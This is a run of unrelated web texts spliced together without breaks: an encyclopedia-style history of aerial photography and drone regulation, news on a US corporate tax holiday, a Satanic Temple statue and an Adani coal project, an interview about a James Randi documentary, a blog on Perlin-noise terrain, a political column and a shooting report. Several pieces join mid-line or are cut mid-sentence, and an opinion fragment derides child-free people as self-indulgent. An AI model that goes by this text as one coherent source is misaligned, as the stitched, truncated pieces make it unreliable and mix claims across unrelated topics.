The first purpose-built and practical aerial camera was invented by Captain John Moore-Brabazon in 1915 with the help of the Thornton-Pickard company, greatly enhancing the efficiency of aerial photography. The camera was inserted into the floor of the aircraft and could be triggered by the pilot at intervals. Moore-Brabazon also pioneered the incorporation of stereoscopic techniques into aerial photography, allowing the height of objects on the landscape to be discerned by comparing photographs taken at different angles.[9][10]
By the end of the war aerial cameras had dramatically increased in size and focal power and were used increasingly frequently as they proved their pivotal military worth; by 1918 both sides were photographing the entire front twice a day, and had taken over half a million photos since the beginning of the conflict. In January 1918, General Allenby used five Australian pilots from No. 1 Squadron AFC to photograph a 624 square miles (1,620 km2) area in Palestine as an aid to correcting and improving maps of the Turkish front. This was a pioneering use of aerial photography as an aid for cartography. Lieutenants Leonard Taplin, Allan Runciman Brown, H. L. Fraser, Edward Patrick Kenny, and L. W. Rogers photographed a block of land stretching from the Turkish front lines 32 miles (51 km) deep into their rear areas. Beginning 5 January, they flew with a fighter escort to ward off enemy fighters. Using Royal Aircraft Factory BE.12 and Martinsyde airplanes, they not only overcame enemy air attacks, but also had to contend with 65 mph (105 km/h) winds, antiaircraft fire, and malfunctioning equipment to complete their task.[11]
Commercial aerial photography [ edit ]
The first commercial aerial photography company in the UK was Aerofilms Ltd, founded by World War I veterans Francis Wills and Claude Graham White in 1919. The company soon expanded into a business with major contracts in Africa and Asia as well as in the UK. Operations began from the Stag Lane Aerodrome at Edgware, using the aircraft of the London Flying School. Subsequently, the Aircraft Manufacturing Company (later the De Havilland Aircraft Company), hired an Airco DH.9 along with pilot entrepreneur Alan Cobham.[12]
From 1921, Aerofilms carried out vertical photography for survey and mapping purposes. During the 1930s, the company pioneered the science of photogrammetry (mapping from aerial photographs), with the Ordnance Survey amongst the company's clients.[13] In 1920, the Australian Milton Kent started using a half-plate oblique aero camera purchased from Carl Zeiss AG in his aerial photographic business.[14]
Another successful pioneer of the commercial use of aerial photography was the American Sherman Fairchild who started his own aircraft firm Fairchild Aircraft to develop and build specialized aircraft for high altitude aerial survey missions.[15] One Fairchild aerial survey aircraft in 1935 carried unit that combined two synchronized cameras, and each camera having five six inch lenses with a ten-inch lenses and took photos from 23,000 feet. Each photo covered two hundred and twenty five square miles. One of its first government contracts was an aerial survey of New Mexico to study soil erosion.[16] A year later, Fairchild introduced a better high altitude camera with nine-lens in one unit that could take a photo of 600 square miles with each exposure from 30,000 feet.[17]
World War II [ edit ]
In 1939 Sidney Cotton and Flying Officer Maurice Longbottom of the RAF were among the first to suggest that airborne reconnaissance may be a task better suited to fast, small aircraft which would use their speed and high service ceiling to avoid detection and interception. Although this seems obvious now, with modern reconnaissance tasks performed by fast, high flying aircraft, at the time it was radical thinking.[citation needed]
They proposed the use of Spitfires with their armament and radios removed and replaced with extra fuel and cameras. This led to the development of the Spitfire PR variants. Spitfires proved to be extremely successful in their reconnaissance role and there were many variants built specifically for that purpose. They served initially with what later became No. 1 Photographic Reconnaissance Unit (PRU). In 1928, the RAF developed an electric heating system for the aerial camera. This allowed reconnaissance aircraft to take pictures from very high altitudes without the camera parts freezing.[18] Based at RAF Medmenham, the collection and interpretation of such photographs became a considerable enterprise.[19]
Cotton's aerial photographs were far ahead of their time. Together with other members of the 1 PRU, he pioneered the techniques of high-altitude, high-speed stereoscopic photography that were instrumental in revealing the locations of many crucial military and intelligence targets. According to R.V. Jones, photographs were used to establish the size and the characteristic launching mechanisms for both the V-1 flying bomb and the V-2 rocket. Cotton also worked on ideas such as a prototype specialist reconnaissance aircraft and further refinements of photographic equipment. At the peak, the British flew over 100 reconnaissance flights a day, yielding 50,000 images per day to interpret. Similar efforts were taken by other countries.[citation needed]
Uses [ edit ]
Aerial photography is used in cartography[20] (particularly in photogrammetric surveys, which are often the basis for topographic maps[21][22]), land-use planning,[20] archaeology,[20] movie production, environmental studies,[23] power line inspection,[24] surveillance, commercial advertising, conveyancing, and artistic projects. An example of how aerial photography is used in the field of archaeology is the mapping project done at the site Angkor Borei in Cambodia from 1995–1996. Using aerial photography, archaeologists were able to identify archaeological features, including 112 water features (reservoirs, artificially constructed pools and natural ponds) within the walled site of Angkor Borei.[25] In the United States, aerial photographs are used in many Phase I Environmental Site Assessments for property analysis.
Platforms [ edit ]
Aircraft [ edit ]
In the United States, except when necessary for take off and landing, full-sized manned aircraft are prohibited from flying at altitudes under 1000 feet over congested areas and not closer than 500 feet from any person, vessel, vehicle or structure over non-congested areas. Certain exceptions are allowed for helicopters, powered parachutes and weight-shift-control aircraft.[26]
Radio-controlled model aircraft [ edit ]
A drone carrying a camera for aerial photography
Two drones that can be used to take aerial photographs
Advances in radio controlled models have made it possible for model aircraft to conduct low-altitude aerial photography. This had benefited real-estate advertising, where commercial and residential properties are the photographic subject when in 2014 the US Federal Aviation Administration, issued an order banning the use of "Drones" in any commercial application related to photographs for use in real estate advertisements.[27] This ban has since been lifted, as the FAA Part 107 regulations for small UAS became effective on August 29, 2016.[citation needed]
Small scale model aircraft offer increased photographic access to these previously restricted areas. Miniature vehicles do not replace full size aircraft, as full size aircraft are capable of longer flight times, higher altitudes, and greater equipment payloads. They are, however, useful in any situation in which a full-scale aircraft would be dangerous to operate. Examples would include the inspection of transformers atop power transmission lines and slow, low-level flight over agricultural fields, both of which can be accomplished by a large-scale radio controlled helicopter. Professional-grade, gyroscopically stabilized camera platforms are available for use under such a model; a large model helicopter with a 26cc gasoline engine can hoist a payload of approximately seven kilograms (15 lbs). In addition to gyroscopically stabilized footage, the use of RC copters as reliable aerial photography tools increased with the integration of FPV (first-person-view) technology. Many radio-controlled aircraft are now capable of utilizing Wi-Fi to stream live video from the aircraft's camera back to the pilot's or pilot in command's (PIC) ground station.[citation needed]
Regulations [ edit ]
Australia [ edit ]
In Australia Civil Aviation Safety Regulation 101 (CASR 101)[28] allows for commercial use of radio control aircraft. Under these regulations radio controlled unmanned aircraft for commercial are referred to as Unmanned Aircraft Systems (UAS), where as radio controlled aircraft for recreational purposes are referred to as model aircraft. Under CASR 101, businesses/persons operating radio controlled aircraft commercially are required to hold an operator certificate, just like manned aircraft operators. Pilots of radio controlled aircraft operating commercially are also required to be licensed by the Civil Aviation Safety Authority (CASA).[29] Whilst a small UAS and model aircraft may actually be identical, unlike model aircraft, a UAS may enter controlled airspace with approval, and operate within close proximity to an aerodrome.
Due to a number of illegal operators in Australia making false claims of being approved, CASA maintains and publishes a list of approved UAS operators.[30] However, CASA has modified the regulations and from the 29th of September 2016 drones under 2 kg may be operated for commercial purposes.[31]
United States [ edit ]
2006 FAA regulations grounding all commercial RC model flights have been upgraded to require formal FAA certification before permission is granted to fly at any altitude in the US.
June 25, 2014, The FAA, in ruling 14 CFR Part 91 [Docket No. FAA–2014–0396] "Interpretation of the Special Rule for Model Aircraft", banned the commercial use of unmanned aircraft over U.S. airspace.[32] On September 26, 2014, the FAA began granting the right to use drones in aerial filmmaking. Operators are required to be licensed pilots and must keep the drone in view at all times. Drones cannot be used to film in areas where people might be put at risk.[33]
The FAA Modernization and Reform Act of 2012 established, in Section 336, a special rule for model aircraft. In Section 336, Congress confirmed the FAA’s long-standing position that model aircraft are aircraft. Under the terms of the Act, a model aircraft is defined as "an unmanned aircraft" that is "(1) capable of sustained flight in the atmosphere; (2) flown within visual line of sight of the person operating the aircraft; and (3) flown for hobby or recreational purposes."[34]
Because anything capable of being viewed from a public space is considered outside the realm of privacy in the United States, aerial photography may legally document features and occurrences on private property.[35]
The FAA can pursue enforcement action against persons operating model aircraft who endanger the safety of the national airspace system. Public Law 112–95, section 336(b).[27]
June 21, 2016, the FAA released its summary of small unmanned aircraft rules (Part 107). The rules established guidelines for small UAS operators including operating only during the daytime, a 400 ft. ceiling and pilots must keep the UAS in visual range.[36]
April 7, 2017, the FAA announced special security instructions under 14 CFR § 99.7. Effective April 14, 2017, all UAS flights within 400 feet of the lateral boundaries of U.S. military installations are prohibited unless a special permit is secured from the base and/or the FAA.[37]
United Kingdom [ edit ]
Aerial photography in the UK has tight regulations as to where a drone is able to fly.[38]
Aerial Photography on Light aircraft under 20 kg. Basic Rules for non commercial flying Of a SUA (Small Unmanned Aircraft).
Article 241 Endangering safety of any person or property. A person must not recklessly or negligently cause or permit an aircraft to endanger any person or property.
Article 94 small unmanned aircraft 1. A person must not cause or permit any article or animal (whether or not attached to a parachute) to be dropped from a small unmanned aircraft so as to endanger persons or property.
2. The person in charge of a small unmanned aircraft may only fly the aircraft if reasonably satisfied that the flight can safely be made.
3. The person in charge of a small unmanned aircraft must maintain direct, unaided visual contact with the aircraft sufficient to monitor its flight path in relation to other aircraft, persons, vehicles, vessels and structures for the purpose of avoiding collisions. (500metres)
4. The person in charge of a small unmanned aircraft which has a mass of more than 7 kg excluding its fuel but including any articles or equipment installed in or attached to the aircraft at the commencement of its flight, must not fly the aircraft: 4.1 In Class A, C, D or E airspace unless the permission of the appropriate air traffic control unit has been obtained; 4.2 Within an aerodrome traffic zone during the notified hours of watch of the air traffic control unit (if any) at that aerodrome unless the permission of any such air traffic control unit has been obtained; 4.3 At a height of more than 400 feet above the surface
5. The person in charge of a small unmanned aircraft must not fly the aircraft for the purposes of commercial operations except in accordance with a permission granted by the CAA.
Article 95 small unmanned surveillance aircraft 1. You Must not fly your aircraft over or within 150 metres of any congested Area. (This is quite vague, err on the side of caution if an accident did happen, it’s the authorities view against you).
2. Over or within 150 metres of an organised open-air assembly of more than 1,000 persons.
3. Within 50 metres of any vessel, vehicle or structure which is not under the control of the person in charge of the aircraft.
4. Within 50 metres of any person, during take-off or landing, a small unmanned surveillance aircraft must not be flown within 30 metres of any person. This does not apply to the person in charge of the small unmanned surveillance aircraft or a person under the control of the person in charge of the aircraft.
Model aircraft with a mass of more than 20 kg are termed ‘Large Model Aircraft’ – within the UK, large model aircraft may only be flown in accordance with an Exemption from the ANO, which must be issued by the CAA.
Dronesafe is a website Developed to help your flying stay safe and legal in the UK in conjunction with NATS (National Air Traffic Services) Look at the Dronesafe website for more information.
Full details on the process to be followed for Large Model Aircraft can be found in CAP 658 on the CAA website
Aerial Work on larger manned aircraft can be found here CAA
Commercial Permissions Information [39] </ref>
Types [ edit ]
Oblique [ edit ]
Oblique Aerial Photo
Photographs taken at an angle are called oblique photographs. If they are taken from a low angle relative to the earth's surface, they are called low oblique and photographs taken from a high angle are called high or steep oblique.[40]
An aerial photographer prepares continuous oblique shooting in a Cessna 206
Vertical [ edit ]
Vertical Orientation Aerial Photo
Vertical photographs are taken straight down.[41] They are mainly used in photogrammetry and image interpretation. Pictures that will be used in photogrammetry are traditionally taken with special large format cameras with calibrated and documented geometric properties.
Combinations [ edit ]
Aerial photographs are often combined. Depending on their purpose it can be done in several ways, of which a few are listed below.
Panoramas can be made by stitching several photographs taken in different angles from one spot (e.g. with a hand held camera) or from different spots at the same angle (e.g. from a plane).
Stereo photography techniques allow for the creation of 3D-images from several photographs of the same area taken from different spots.
In pictometry five rigidly mounted cameras provide one vertical and four low oblique pictures that can be used together.
In some digital cameras for aerial photogrammetry images from several imaging elements, sometimes with separate lenses, are geometrically corrected and combined to one image in the camera.
Orthophotos [ edit ]
Vertical photographs are often used to create orthophotos, alternatively known as orthophotomaps, photographs which have been geometrically "corrected" so as to be usable as a map. In other words, an orthophoto is a simulation of a photograph taken from an infinite distance, looking straight down to nadir. Perspective must obviously be removed, but variations in terrain should also be corrected for. Multiple geometric transformations are applied to the image, depending on the perspective and terrain corrections required on a particular part of the image.
Orthophotos are commonly used in geographic information systems, such as are used by mapping agencies (e.g. Ordnance Survey) to create maps. Once the images have been aligned, or "registered", with known real-world coordinates, they can be widely deployed.
Large sets of orthophotos, typically derived from multiple sources and divided into "tiles" (each typically 256 x 256 pixels in size), are widely used in online map systems such as Google Maps. OpenStreetMap offers the use of similar orthophotos for deriving new map data. Google Earth overlays orthophotos or satellite imagery onto a digital elevation model to simulate 3D landscapes.
Aerial video [ edit ]
With advancements in video technology, aerial video is becoming more popular. Orthogonal video is shot from aircraft mapping pipelines, crop fields, and other points of interest. Using GPS, video may be embedded with meta data and later synced with a video mapping program.
This "Spatial Multimedia" is the timely union of digital media including still photography, motion video, stereo, panoramic imagery sets, immersive media constructs, audio, and other data with location and date-time information from the GPS and other location designs.
Aerial videos are emerging Spatial Multimedia which can be used for scene understanding and object tracking. The input video is captured by low flying aerial platforms and typically consists of strong parallax from non-ground-plane structures. The integration of digital video, global positioning systems (GPS) and automated image processing will improve the accuracy and cost-effectiveness of data collection and reduction. Several different aerial platforms are under investigation for the data collection.
See also [ edit ]
References [ edit ]
Further reading [ edit ]Apple, Google, Microsoft, Cisco, and a host of US megacorps are lobbying hard for a massive tax break – and they're gaining powerful friends in business, government, and labor in support of that effort.
"This is about creating jobs, expanding US businesses and strengthening American companies," representative Kevin Brady (Rep-TX) told The New York Times, lauding his bill that would lower the amount of tax US companies pay on profits made overseas then brought back to the US, from 35 per cent to 5.25 per cent.
When profits made overseas are brought back to the US, it's called repatriation. When a tax break such as the one outlined by Brady's Freedom to Invest Act is instituted, it's called a repatriation holiday.
As might be guessed, this repatriation holiday is wildly popular among US corporations. The Win America Campaign, a group founded to lobby for the tax break, lists 40 major companies and organizations among its supporters.
Win America's argument for the repatriation holiday is based on the four-letter word that is dominating American politics: jobs. "Providing American businesses with incentives to invest at home is a common sense solution that will immediately inject up to $1 trillion into our economy and provide businesses with the security and certainty they need to help get Americans back to work," they claim.
There's one problem with Win America's reasoning: a repatriation holiday was tried last decade, and it didn't create jobs.
Repatriation winners: shareholders
According to a 2008 study by the National Bureau of Economic Research (NBER), the Homeland Investment Act, passed in 2004, resulted in the bulk of the $362bn repatriated under the Act being passed to shareholders, and not used to create jobs.
"A key goal of the HIA... was to promote investment and employment growth in the United States," the study notes, citing its "specific guidelines on how cash repatriated at the lower tax rate could be used in order to ensure that repatriations were used to further these goals."
Didn't work. "These guidelines were ineffective," the study concludes. "Estimates imply that firms returned almost all of the repatriated cash to shareholders – a use that was explicitly not permitted."
In the run-up to the HIA's passage, congress members argued that it would create over 500,000 jobs. J.P. Morgan Securities estimated that it would create about 600,000 jobs. The NBER study, however, concluded that "the HIA does not appear to have spurred the domestic investment and employment of firms that used the tax holiday to repatriate earnings from abroad."
This failure of repatriating companies to follow the HIA guidelines is of particular interest because Brady's bill is being dusted with similar sweeteners in an effort to make it more palatable to Democratic congress members.
Sources have told Fortune that Senator Chuck Schumer (Dem-NY), a veteran legislator and member of the tax law–proposing Senate Finance Committee, is shopping around the idea of tying the reparation-holiday bill to an "infrastructure bank" that would be used to support new construction projects.
Labor leader loves the idea
This idea has garnered support for the repatriation holiday from one key Democratic constituency: labor. Andy Stern of the Georgetown Public Policy Institute and former president of the 2.1 million–member Service Employees International Union, is pushing for the repatriation deal.
"We put the government's share of the money; say $30 billion, into an Infrastructure Bank," he told The Washington Post. "We could also put the money into a Green Bank or other long term job creation programs. That $30 billion would leverage $180 billion more in investment."
According to Stern's projections: "For every $1 billion in infrastructure spending, 40,000 direct and indirect jobs are created."
Other voices are calling for a repatriation holiday without any "infrastructure bank" set-asides. Last week, the self-described "moderate" think-tank Third Way held a forum entitled "The Next Stimulus? Bringing Corporate Tax Dollars Home to Work in America".
At that event, representatives Jared Polis (Dem-CO) and Loretta Sanchez (Dem-CA) both argued that companies should be able to use their repatriated profits in any way they saw fit. Polis, however, did allow that "Many people, for this to be a palatable vote, want to point to a direct ironclad nexus of job creation."
This is a high-stakes game. As the NYT points out, Apple has $12 billion in overseas profits that could be repatriated, Google has $17 billion, and Microsoft has $29 billion. Estimates of the total amount that might be repatriated if the holiday is granted hover around $1 trillion.
Whether that $1 trillion would be used for job creation is, of course, unknown – although the NBER study is instructive. After all, it's estimated that US companies are now sitting on $1.9 trillion in cash – with Apple being the poster child of cash-hoarders, having reported $66bn in cash and marketable securities – and they're not using it to stimulate the economy by creating jobs.
And why should they? There's not enough discretionary income floating through the economy to boost purchasing. The problem is not a lack of corporate coin to hire workers, argues former US labor secretary Robert Reich, but instead a lack of cash in the pockets of Joe Sixpack – and it's unlikely that a repatriation holiday without a "direct ironclad nexus of job creation" would fatten workers' wallets.
And even when bolstered by guidelines such as those provided by the HIA, history has shown that repatriation holidays haven't increased jobs.
Speaking of jobs, it's arguable that the one that can actually effect change in the corporate tax code is Steve Jobs, along with his fellow corporate movers and shakers. ®
Bootnote
If you're not familiar with some of the gymnastics that US corporations perform in order to lower their tax liabilities, The New York Times provides a helpful video overview.(Sean Murphy/AP)
By SEAN MURPHY, Associated Press
OKLAHOMA CITY (AP) — Republican lawmakers in Oklahoma may have unwittingly opened the door to a satanic statute when they approved a Ten Commandments monument for the Statehouse steps.
A spokesman for the New York-based Satanic Temple notified the state's Capitol Preservation Commission that it wants to donate a statue to go next to the Ten Commandments monument. It's planning to submit one of several possible designs this month. Spokesman Lucien Greaves says one potential design involves a pentagram.
The Legislature authorized the privately funded Ten Commandments monument in 2009. It was placed on the Capitol grounds last year, although legal experts who questioned its constitutionality. The Oklahoma chapter of the American Civil Liberties Union has filed a lawsuit.
But Greaves says the move opened up a public space for the satanic group.
Copyright 2013 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.There is a no-cost no-immigration solution to prevent a demographic collapse of Japan. Specifically, Japan needs to restructure the future pensions of young people to make their pensions dependent on the number of their children. For people younger than 25 - 35 year old, Japan needs to add a 10%-25% increase to their future pension for each child, up-to 3 children. Japan can compensate the proposed pension increase by decreasing the pension of child-free people, who harm Japan economy by self-indulging at the expense of fulfilling their moral obligations to extend their family lines.
Japan has become a victim of antinatalism, the worst enemy of humanity. Japan population is disappearing because |
make, I wouldn’t say it’s a major part of it. It’s just necessary to present the audience—who might not be aware of any of this material—with a sense of the range of feelings and responses and thoughts about Randi.
Measom: The first day I met James Randi, I flew down to Fort Lauderdale to visit him. He had watched Sons of Perdition, and I went over to his home. It was interesting, because I was so nervous meeting him, and I could sense that he was kind of nervous meeting me. As much press as he’s had in his life, he’s never had a feature length documentary dedicated to him. That’s unfortunate, very unfortunate, but it’s a blessing for us.
I said, “Let’s go to lunch,” and we drove off and went to Ikea! They have a little deli in there, [and Randi] likes the meatballs. We sat down, and he got recognized going in. And the first thing he said to me—he said, “I’m in, but under one condition: warts and all!”
To hear that, was so amazing. To hear that—as a documentary maker to know that he’s open to showing every bit of who he is—really just made it so much easier for us.
Sturgess: What are some of things that will be profiled?
Measom: The Carlos Hoax will definitely be featured. I think that’s my favorite Randi episode!
Weinstein: I’m partial to the Alpha Project! But I think…we’re certainly going to try to do justice to all of these great episodes of his past. Because for a lot of them, like the Alpha Project and Carlos, a lot of the people are still around. Banachek, for example; there’s a lot of great media coverage to be used for storytelling purposes. These are just great little amazing, entertaining tales. That’s one part of what we’re planning on the biographical side. There are a couple of other elements that we’re going to incorporate, one of which is a little bit of the history of magic and deception—and the relationship between magic, deception, science, and skepticism, of course.
I think that there are going to be some other layers to the film that are going to be a lot of fun for viewers, and they’re going to help make it a richer experience. We might make some people in the audience disappear while they’re not looking! Hopefully, we’ll make more people appear in the audience than disappear, and the balance will be in favor of bottoms in the seats!
To find out more or to even help fund the creation of An Honest Liar, head to the official website at http://www.anhonestliar.com.Indian mining giant Adani has suspended two major contractors on its Queensland coal project, raising fresh speculation about the company's ability to finance Australia's largest coal mine.
Project managers Parsons Brinckerhoff and Korean construction company Posco, which is also touted as an investor in the final project, were told late last week to stop work on the Carmichael mine, rail and port project.
Adani insisted on Tuesday that the mine would still go ahead and it was not pulling out of Australia. Credit:Glenn Hunt
Company sources said senior Adani executives flew to India at the weekend for talks about the project's future.
It comes less than a month after Adani stood down four engineering firms – WorleyParsons, Aecon, Aurecon and SMC – and scores of workers involved in preparatory works on the development, which would open up Queensland's vast Galilee Basin.Perlin noise is a very useful algorithm that can be used for the construction of textures, random worlds in games, and other more graphical applications. I myself am more interested in terrain generation. To start with, the result of a Perlin Noise algorithm execution may look like this:
The image, taken from Wikipedia, kind of looks like clouds, in fact, Perlin Noise may be used in the construction of cloud textures. But how does this relate with terrain generation like this?
Lets first define what we need with terrain generation by looking at a vary famous example.
Basics
In an early blog post, Minecraft’s creator, Notch, described how he used Perlin Noise for terrain generation. This was before the worlds generated in Minecraft were as complex as they are now, without the various biomes, objects, villages, temples, etc. Terrains were just simple hills generated at random.
So we need some way of generating random hill. Some hills may be bigger than others, higher than others, have bigger sloops, etc. The point is that they are different among themselves. The hills are generated using Perlin Noise. If you look at the clouds above as hills, you can see how this algorithm may be used for the objective at hand.
In the image, we clearly see hills, where darker areas are actually valleys, and brighter areas are the hill tops, or vice-versa. Basically, the output is a 2D grid, in which each cell has some value between 0 and some maximum limit. The transition from cell to cell is smooth enough so as to give the sensation of hills without edges.
Simple 3 Level Terrain
Suppose you want to use Perlin Noise to generate terrains. We can have something like hills like it was shown. But If the objective is to have a 2D map, something different may be done. The map should have three height levels. The middle level is interpreted has being ground, where a player or a NPC could walk. The high level could be interpreted has mountains which can’t be access, and the low level can be interpreted as being water, like a lake, river, sea, etc.
To do this a Perlin Noise grid is generated. The values of the grid may range from 0 to 9, for example. It is now asserted that where the grid has a value bellow 3, then that is water. Where there is a value above 7, that’s mountains. Everything else is just ground level.
This may sound like a very duct tape way of generating terrains, but it has pretty good results for generating a simple terrain. This file shows one of the results. The cell with X are mountains, with. are water, and the empty cells are ground level.
You might be wondering, why not just make the range of the values in the grid something from 0 to 2? Like that there is Perlin Noise with three levels.
Well, yes, but using this kind of division will yield terrains where the ground level is bigger then the water and mountain levels. And it looks good.
More Complex Terrains
Obviously, the solution above is too simple and better methods may exist. One immediate concert is that Perlin Noise alone doesn’t generate terrain features such as rivers. We also only see hills and valleys. We don’t see big plains or big mountain ranges. The sizes and slopes of the hills are also never too different.
Perlin Noise alone doesn’t even begin to consider things like animals and vegetation. Or objects such as resources, villages, and other locations.
All these addition must be developed for a specific goal in mind, but Perlin Noise may be used as a primitive for generation.
Plotting using Python and MatplotLib
I’ve put together a small project that generates Perlin Noise grids and displays them on a heat map. The algorithm is implemented in C. It generates a file with some binary information. Then a Python script uses Numpy and Matplotlib to make the heatmap. There is a link here.
The results of one of these execution is something like this:
So, this is a plot of a Perlin Noise grid, without the three level rules I talked about earlier. To execute this script just run the run.sh command. You can also edit three settings in perlin_gen/settings.h, run make in the perlin_gen directory, and do run.sh again for different grid configurations. The settings state both SIZE_X and SIZE_Y for the actual size of the grid. DEPTH is how deep the grid will be, meaning that if depth is 5, the grid will have values from 0 to 4, if it is 10, it will have values from 0 to 9, and so on.
Fell free to try different settings for different results.
Just another note. The Perlin Noise algorithm implementation in C was not developed by me, but I have no idea where I got the code. I have had it in my drive for a few years and I don’t know the origin anymore. I have tried googling it and found many implementations of Perlin Noise, but not this one. If you know the original author, please tell me.
More
I just want to end with an image of an implementation done with Pygame, the Python library for 2D games. The image, shown bellow and at the top, is a map with a few tiles. The map was created using the three levels method described above. That implementation actually allows some bigger things, like efficient scrolling. I have been wanting to write about that for some time, but never got around to doing it. Also, I am no longer working on anything with Pygame, but it is still a cool thing to show. My next blog post will be about that.
AdvertisementsOnce upon a time politics was about pitching to the sensible centre, not preaching to the converted. Increasingly, it isn’t. Increasingly, political conversation is conducted inside bubbles, and the bubbles don’t intersect.
The bubbles – little self-contained universes where protagonists feel their own feelings and choose their own facts – float rancorously past one another, never the twain.
I was struck by the pervasiveness of bubble politics this week while watching the first head-to-head debate in the United States between Hillary Clinton and Donald Trump. Debate would actually be a misnomer, given it was actually two monologues, running parallel to each other, without obvious intersection points.
Consensus: Clinton wins debate – but Trump is far from finished Read more
Clinton was immaculately prepared, measured and articulate – impressive as she generally is – but after 90 minutes watching her, based on that outing, I couldn’t really tell you why she wanted to be president. I kept listening in the hope I’d hear it, that she would reach out and hook me and reel me in through the simple articulation of her moment in history. But there was no clear pitch – apart from I’m not the lunatic.
I get why the primary season in the US is about conversations in-house – obviously candidates are seeking the endorsement of their tribe – but once that’s done I expected a kind of broadening. I’d expected some kind of inclusive appeal to Trump supporters, given the white working-class vote should not be an entirely lost cause for the Democratic party, at least not post-global financial crisis.
I’d expected she would talk to them about the faux everyman they were thinking of backing for the White House, and she did, a little bit, but mainly she spoke to her supporters in staccato winks. The critique of Trump was genial and roundabout, as if we all got the joke, as if the target audience was the editorial board of the New York Times, not the people casting their votes in November who would never even think to buy a copy.
She was passive in her orderliness. Clinton presented to the voting public with a modest kind of righteousness, as if that was the required benchmark, rather than brute, cut-through persuasiveness – a sanguine disposition which seemed premature, given the gruelling contest is only now entering the decisive phase.
As for Trump, it was more of his shtick: he was defiantly post-fact, post-ideology, post-coherence – stroking his angry, alienated tribe, the people he has spent months courting and comforting with his authoritarian tendencies, framing himself as the last living saviour of the white working man of a certain age oppressed by globalisation, by mouthy women, by the “other” of the moment – Mexicans – by the Chinese.
Trump has reeled his tribe in by pretending to understand them, by pretending to stand with them against the establishment cliche that is Hillary Clinton. That’s his brand of self-satisfied righteousness, the cynically constructed comic strip that is “Donald, professional underdog”, a nonsense he delivers with brittle conviction, aided and abetted by the echo chamber on Fox News, a rolling cacophony of bobble heads high on imagined liberal conspiracy.
Trump’s central pitch was easier to identify, but he made absolutely no effort to engineer some kind of crossover conversation. There was no broadening his appeal, no toning it down, no presidential affect, no pitch to the swinging centre.
An audience of millions erupted on social media in howls of acclamation and derision, like there was nothing more at stake than a thumbs up or thumbs down emoji. Feelings were brittle. Commentary was scornful and punishing, a mass study in confirmation bias.
Increasingly, this is politics. Spectacle and sideshow, followed by a lurch into hell.
Back at home, things are also grim. We seemed to have maxed out on exciting times. Our bubbles are floating, disconnected, across our political landscape. Post-election, you can feel the national discourse fracturing.
There are eddies of culture war swirling. Race is back on the political agenda. Outside the Canberra crucible, close to half the country say they don’t want Muslims in Australia because they don’t integrate. Another 40% don’t want a bar of discrimination. As fault lines go, it’s stark.
The reactionary right is limbering up for a fresh frolic on multiculturalism, wheeling out Pauline Hanson as their Trojan horse, trolling the left by deriding broad statements of tolerance and gestures of inclusion as virtue signalling or indulgent forays into identity politics – and the pro-globalisation left is shaping up to gratify their opponents by being serially outraged, by taking the bait.
Rhetoric ratchets up. There’s a round of vigorous bubble bumping, amplified by the echo chamber of the 24/7 news cycle, and the starkly polarised commentariat, protagonists hector and declaim, no one explains and reasons. Meanwhile, the social fabric frays.
It could be abstractly interesting if it wasn’t dangerous, if manufactured polarisation for glib political gratification and clicks and eyeballs didn’t have obvious human consequences.
The antidote is humanism and generosity. Piercing the bubble is the only way to disrupt the cycle. The times require a politician with the confidence to reach out to the people, not with Trumpesque manipulations, but with a genuine desire to connect.
I harbour a modest hope that, periodically at least, Malcolm Turnbull will agree with himself.
Malcolm Turnbull was once the great hope of the sensible centrist side. Tribalism, in his universe, was considered coarse. But bubble politics is grossly intolerant of protagonists who look to form durable connections outside the tribe. Empathy is somehow suspect. In bubble politics, totemic statements of reassurance to fellow travellers seem to be more highly prized than workaday pragmatism. There’s a strange nihilism about the whole enterprise.
Turnbull’s trajectory has seen him placate his fellow bubble dwellers after he took the leadership as a gesture of good will – to send a message of inclusion. The early concessions damaged him. Now he’s locked into a cycle of concessions to stay alive. He’s being sucked back inside the Coalition bubble, issue after issue, at a time when Australians need him to be speaking to them, not genuflecting before his own people.
After placating the right on the plebiscite, and walking back superannuation reforms he’d been proud of in the May budget, this week we’ve had a grand rhetorical gesture on renewable energy, which was suddenly suspect because a super storm had felled 20-odd transmission pylons and plunged South Australia into blackout.
Turnbull once openly scorned people who substituted ideology for evidence. Perhaps if you can’t beat them, eventually, you join them. The prime minister had “no doubt” (despite the complete lack of evidence) the “extremely aggressive” shift to renewables was a factor in the South Australian blackouts. “I regret to say that a number of the state Labor governments have over the years set priorities and renewable targets that are extremely aggressive, extremely unrealistic, and have paid little or no attention to energy security,” he said.
Malcolm Turnbull says South Australia blackout a wake-up call on renewables Read more
The audience for this flourish of feelpinion was internal, not external. To be clear, I’m not a bubble dweller. I find the hothouse conditions stifling. I don’t require the prime minister to agree with me on any particular policy proposition. I harbour a modest hope that, periodically at least, he will agree with himself.
I understand there is a more complex dynamic in play presently than a weakened prime minister performing a grim liturgical dance for the gratification of people with the power to move against him. At the broader strategic level, there is clearly an element of circling the wagons going on. Turnbull is trying to keep his fractious troops together when in practice the Coalition in 2016 is a conservative party with Hansonesque leanings and a centrist liberal party.
Most days, in abundant ways, we see how hard it is to synthesise those differences. In attempting to rally and bind his troops, perhaps our individualist prime minister has become a tribalist, after all.
Bubbles really can’t be avoided in modern politics. Depressingly, it is the way of things. The prime minister has to develop the trick of subsistence in the bubble, but he also has to puncture it, forcefully when necessary, both to avoid slow suffocation and as a gesture of recognition – because outside the cloisters the Australian people are watching and hoping that someone in major party politics can rise above the aggressive insularity and the brinkmanship, give them the courtesy of a genuine conversation, and face up to the challenges of the moment.Las Vegas police are investigating a shooting that took place at Sam's Town early Monday morning. (Mike Shoro/Las Vegas Review-Journal)
Las Vegas police are investigating a shooting that took place at Sam's Town early Monday morning. (Mike Shoro/Las Vegas Review-Journal)
Las Vegas police are investigating a shooting that took place at Sam's Town early Monday morning. (Mike Shoro/Las Vegas Review-Journal)
Two people were shot Monday morning at an eastern valley casino, and the shooter is at large, Las Vegas police said.
The Metropolitan Police Department said a man was shot in the leg and a woman was shot in the foot about 12:40 a.m. at Sam’s Town, 5111 Boulder Highway, near Flamingo Road.
A man pulled a handgun and shot his ex-lover’s stepfather in the leg at Sam’s Town Live, an events center at the casino, Lt. David Gordon said. The bullet ricocheted and hit an unrelated woman in the foot. Both the stepfather and woman were treated at the scene.
Security chased the shooter to a nearby recreational vehicle park, Gordon said. Metro searched with help from their helicopter and K-9 unit but could not find him. Police are still working on identifying the shooter as of 5 p.m. Monday, police said.
